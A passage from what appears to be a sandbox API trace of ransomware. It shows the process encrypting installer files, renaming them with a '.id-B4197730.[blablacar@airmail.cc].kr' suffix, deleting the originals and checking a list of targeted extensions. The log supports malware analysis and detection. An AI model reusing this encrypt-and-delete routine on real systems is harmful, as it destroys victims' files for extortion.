(lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0084.201] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.201] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0084.201] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0084.201] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0084.202] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0084.202] GetLastError () returned 0x0 [0084.202] ReadFile (in: hFile=0x324, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x12db0, lpOverlapped=0x0) returned 1 [0084.214] WriteFile (in: hFile=0x328, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x12dc0, lpOverlapped=0x0) returned 1 [0084.216] ReadFile (in: hFile=0x324, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0084.216] WriteFile (in: hFile=0x328, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf6, lpOverlapped=0x0) returned 1 [0084.216] SetEndOfFile (hFile=0x328) returned 1 [0084.217] CloseHandle (hObject=0x328) returned 1 [0084.223] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0084.224] SetEndOfFile (hFile=0x324) returned 1 [0084.225] CloseHandle (hObject=0x324) returned 1 [0084.225] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.226] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0084.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0084.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0084.226] lstrlenW (lpString=".doc") returned 4 [0084.226] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.226] lstrlenW (lpString=".docx") returned 5 [0084.226] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0084.226] lstrlenW (lpString=".pdf") returned 4 [0084.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.227] lstrlenW (lpString=".xls") returned 4 [0084.227] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.227] lstrlenW (lpString=".xlsx") returned 5 [0084.227] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0084.227] lstrlenW (lpString=".ppt") returned 4 [0084.227] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0084.227] lstrlenW (lpString=".zip") returned 4 [0084.227] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.227] lstrlenW (lpString=".rar") returned 4 [0084.227] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.227] lstrlenW (lpString=".bz2") returned 4 [0084.227] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.227] lstrlenW (lpString=".7z") returned 3 [0084.227] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0084.227] lstrlenW (lpString=".dbf") returned 4 [0084.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0084.227] lstrlenW (lpString=".1cd") returned 4 [0084.227] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0084.227] lstrlenW (lpString=".jpg") returned 4 [0084.227] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0084.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0084.228] lstrlenW (lpString=".doc") returned 4 [0084.228] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.228] lstrlenW (lpString=".docx") returned 5 [0084.228] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0084.228] lstrlenW (lpString=".pdf") returned 4 [0084.228] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.228] lstrlenW (lpString=".xls") returned 4 [0084.228] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.228] lstrlenW (lpString=".xlsx") returned 5 [0084.228] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0084.228] lstrlenW (lpString=".ppt") returned 4 [0084.228] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0084.228] lstrlenW (lpString=".zip") returned 4 [0084.228] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.228] lstrlenW (lpString=".rar") returned 4 [0084.228] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.228] lstrlenW (lpString=".bz2") returned 4 [0084.228] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.228] lstrlenW (lpString=".7z") returned 3 [0084.228] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0084.229] lstrlenW (lpString=".dbf") returned 4 [0084.229] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0084.229] lstrlenW (lpString=".1cd") returned 4 [0084.229] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0084.229] lstrlenW (lpString=".jpg") returned 4 [0084.229] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.229] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0084.229] lstrlenW (lpString="LocalizedData.xml") returned 17 [0084.229] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0084.232] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=86442) returned 1 [0084.232] CloseHandle (hObject=0x328) returned 1 [0084.233] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0084.233] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.233] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0084.233] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0084.233] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0084.233] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0084.234] GetLastError () returned 0x0 [0084.234] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x151aa, lpOverlapped=0x0) returned 1 [0084.250] WriteFile (in: hFile=0x320, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x151b0, lpOverlapped=0x0) returned 1 [0084.253] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0084.253] WriteFile (in: hFile=0x320, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf6, lpOverlapped=0x0) returned 1 [0084.253] SetEndOfFile (hFile=0x320) returned 1 [0084.253] CloseHandle (hObject=0x320) returned 1 [0084.260] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0084.260] SetEndOfFile (hFile=0x328) returned 1 [0084.262] CloseHandle (hObject=0x328) returned 1 [0084.262] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.262] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0084.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0084.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0084.262] lstrlenW (lpString=".doc") returned 4 [0084.262] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.262] lstrlenW (lpString=".docx") returned 5 [0084.262] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0084.262] lstrlenW (lpString=".pdf") returned 4 [0084.263] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.263] lstrlenW (lpString=".xls") returned 4 [0084.263] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.263] lstrlenW (lpString=".xlsx") returned 5 [0084.263] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0084.263] lstrlenW (lpString=".ppt") returned 4 [0084.263] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0084.263] lstrlenW (lpString=".zip") returned 4 [0084.263] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.263] lstrlenW (lpString=".rar") returned 4 [0084.263] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.263] lstrlenW (lpString=".bz2") returned 4 [0084.263] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.263] lstrlenW (lpString=".7z") returned 3 [0084.263] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0084.263] lstrlenW (lpString=".dbf") returned 4 [0084.263] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0084.263] lstrlenW (lpString=".1cd") returned 4 [0084.263] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0084.263] lstrlenW (lpString=".jpg") returned 4 [0084.263] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0084.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0084.263] lstrlenW (lpString=".doc") returned 4 [0084.263] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.263] lstrlenW (lpString=".docx") returned 5 [0084.264] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0084.264] lstrlenW (lpString=".pdf") returned 4 [0084.264] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.264] lstrlenW (lpString=".xls") returned 4 [0084.264] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.264] lstrlenW (lpString=".xlsx") returned 5 [0084.264] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0084.264] lstrlenW (lpString=".ppt") returned 4 [0084.264] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0084.264] lstrlenW (lpString=".zip") returned 4 [0084.264] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.264] lstrlenW (lpString=".rar") returned 4 [0084.264] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.264] lstrlenW (lpString=".bz2") returned 4 [0084.264] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.264] lstrlenW (lpString=".7z") returned 3 [0084.264] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0084.264] lstrlenW (lpString=".dbf") returned 4 [0084.264] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0084.264] lstrlenW (lpString=".1cd") returned 4 [0084.264] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0084.264] lstrlenW (lpString=".jpg") returned 4 [0084.264] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.264] Sleep (dwMilliseconds=0x64) [0084.593] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0084.593] lstrlenW (lpString="eula.rtf") returned 8 [0084.593] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.593] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=12687) returned 1 [0084.594] CloseHandle (hObject=0x314) returned 1 [0084.594] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0084.594] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.594] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.594] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0084.594] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0084.594] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0084.597] GetLastError () returned 0x0 [0084.597] ReadFile (in: hFile=0x314, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x318f, lpOverlapped=0x0) returned 1 [0084.599] WriteFile (in: hFile=0x318, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x3190, lpOverlapped=0x0) returned 1 [0084.601] ReadFile (in: hFile=0x314, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0084.601] WriteFile (in: hFile=0x318, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xe4, lpOverlapped=0x0) returned 1 [0084.601] SetEndOfFile (hFile=0x318) returned 1 [0084.601] CloseHandle (hObject=0x318) returned 1 [0084.603] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0084.603] SetEndOfFile (hFile=0x314) returned 1 [0084.604] CloseHandle (hObject=0x314) returned 1 [0084.604] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.605] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0084.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0084.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0084.605] lstrlenW (lpString=".doc") returned 4 [0084.605] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.605] lstrlenW (lpString=".docx") returned 5 [0084.605] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.605] lstrlenW (lpString=".pdf") returned 4 [0084.605] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.605] lstrlenW (lpString=".xls") returned 4 [0084.605] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0084.605] lstrlenW (lpString=".xlsx") returned 5 [0084.606] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0084.606] lstrlenW (lpString=".ppt") returned 4 [0084.606] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0084.606] lstrlenW (lpString=".zip") returned 4 [0084.606] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0084.606] lstrlenW (lpString=".rar") returned 4 [0084.606] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.606] lstrlenW (lpString=".bz2") returned 4 [0084.606] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.606] lstrlenW (lpString=".7z") returned 3 [0084.606] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0084.606] lstrlenW (lpString=".dbf") returned 4 [0084.606] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0084.606] lstrlenW (lpString=".1cd") returned 4 [0084.606] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0084.606] lstrlenW (lpString=".jpg") returned 4 [0084.606] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0084.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0084.607] lstrlenW (lpString=".doc") returned 4 [0084.607] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.607] lstrlenW (lpString=".docx") returned 5 [0084.607] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.607] lstrlenW (lpString=".pdf") returned 4 [0084.607] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.607] lstrlenW (lpString=".xls") returned 4 [0084.607] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0084.607] lstrlenW (lpString=".xlsx") returned 5 [0084.607] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0084.607] lstrlenW (lpString=".ppt") returned 4 [0084.607] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0084.607] lstrlenW (lpString=".zip") returned 4 [0084.607] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0084.607] lstrlenW (lpString=".rar") returned 4 [0084.607] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.607] lstrlenW (lpString=".bz2") returned 4 [0084.607] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.607] lstrlenW (lpString=".7z") returned 3 [0084.607] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0084.607] lstrlenW (lpString=".dbf") returned 4 [0084.607] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0084.608] lstrlenW (lpString=".1cd") returned 4 [0084.608] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0084.608] lstrlenW (lpString=".jpg") returned 4 [0084.608] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.608] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0084.608] lstrlenW (lpString="LocalizedData.xml") returned 17 [0084.608] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.608] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=65238) returned 1 [0084.608] CloseHandle (hObject=0x314) returned 1 [0084.608] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0084.609] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.609] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.609] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0084.609] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0084.609] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0084.610] GetLastError () returned 0x0 [0084.610] ReadFile (in: hFile=0x314, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xfed6, lpOverlapped=0x0) returned 1 [0084.612] WriteFile (in: hFile=0x318, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xfee0, lpOverlapped=0x0) returned 1 [0084.615] ReadFile (in: hFile=0x314, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0084.615] WriteFile (in: hFile=0x318, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf6, lpOverlapped=0x0) returned 1 [0084.615] SetEndOfFile (hFile=0x318) returned 1 [0084.615] CloseHandle (hObject=0x318) returned 1 [0084.617] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0084.617] SetEndOfFile (hFile=0x314) returned 1 